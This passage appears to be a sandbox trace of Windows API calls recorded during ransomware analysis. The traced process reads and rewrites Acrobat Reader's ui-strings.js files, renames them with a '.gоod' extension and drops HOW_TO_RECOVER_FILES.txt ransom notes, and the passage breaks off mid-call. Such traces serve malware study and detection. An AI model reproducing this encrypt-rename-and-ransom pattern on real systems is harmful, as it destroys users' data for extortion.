FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.437] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0172.437] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0172.437] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0172.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0172.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0172.438] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0172.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0172.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34f2438 | out: lpFileInformation=0x34f2438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae)) returned 1 [0172.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0172.438] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0172.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0172.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.438] GetFileType (hFile=0x768) returned 0x1 [0172.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0172.438] GetFileType (hFile=0x768) returned 0x1 [0172.438] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0172.438] ReadFile (in: hFile=0x768, lpBuffer=0x34f2910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34f2910*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0172.440] CloseHandle (hObject=0x768) returned 1 [0172.440] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0172.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0172.440] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.440] GetFileType (hFile=0x768) returned 0x1 [0172.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0172.440] GetFileType (hFile=0x768) returned 0x1 [0172.440] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3bae [0172.440] WriteFile (in: hFile=0x768, lpBuffer=0x34f3cd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34f3cd8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0172.441] CloseHandle (hObject=0x768) returned 1 [0172.441] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0172.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0172.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.442] GetFileType (hFile=0x768) returned 0x1 [0172.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0172.442] GetFileType (hFile=0x768) returned 0x1 [0172.442] ReadFile (in: hFile=0x768, lpBuffer=0x34f6210, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x34f6210*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0172.471] CloseHandle (hObject=0x768) returned 1 [0172.471] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0172.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0172.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.471] GetFileType (hFile=0x768) returned 0x1 [0172.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0172.471] GetFileType (hFile=0x768) returned 0x1 [0172.471] WriteFile (in: hFile=0x768, lpBuffer=0x34f4f08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x34f4f08*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0172.471] CloseHandle (hObject=0x768) returned 1 [0172.472] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0172.472] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0172.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0172.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x63032306, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3bbe)) returned 1 [0172.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0172.472] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\ui-strings.js.gоod")) returned 1 [0172.472] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0172.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0172.473] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sv-se\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0172.473] GetFileType (hFile=0x768) returned 0x1 [0172.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0172.473] GetFileType (hFile=0x768) returned 0x1 [0172.474] WriteFile (in: hFile=0x768, lpBuffer=0x35760b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35760b8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0172.475] CloseHandle (hObject=0x768) returned 1 [0172.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0172.475] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr", lpFilePart=0x0) returned 0x69 [0172.475] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0172.475] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.476] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0172.476] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0172.476] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0172.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0172.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0172.579] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0173.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0173.057] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr", lpFilePart=0x0) returned 0x69 [0173.057] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0173.101] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.102] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0173.102] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0173.102] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0173.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0173.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0173.102] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0173.102] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34f4c08 | out: lpFileInformation=0x34f4c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03)) returned 1 [0173.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0173.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0173.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.103] GetFileType (hFile=0x6e0) returned 0x1 [0173.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0173.103] GetFileType (hFile=0x6e0) returned 0x1 [0173.103] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0173.103] ReadFile (in: hFile=0x6e0, lpBuffer=0x34f50e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34f50e0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0173.105] CloseHandle (hObject=0x6e0) returned 1 [0173.105] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0173.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.105] GetFileType (hFile=0x6e0) returned 0x1 [0173.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0173.105] GetFileType (hFile=0x6e0) returned 0x1 [0173.105] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3d03 [0173.105] WriteFile (in: hFile=0x6e0, lpBuffer=0x34f63d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34f63d8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0173.106] CloseHandle (hObject=0x6e0) returned 1 [0173.106] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0173.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.106] GetFileType (hFile=0x6e0) returned 0x1 [0173.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0173.106] GetFileType (hFile=0x6e0) returned 0x1 [0173.106] ReadFile 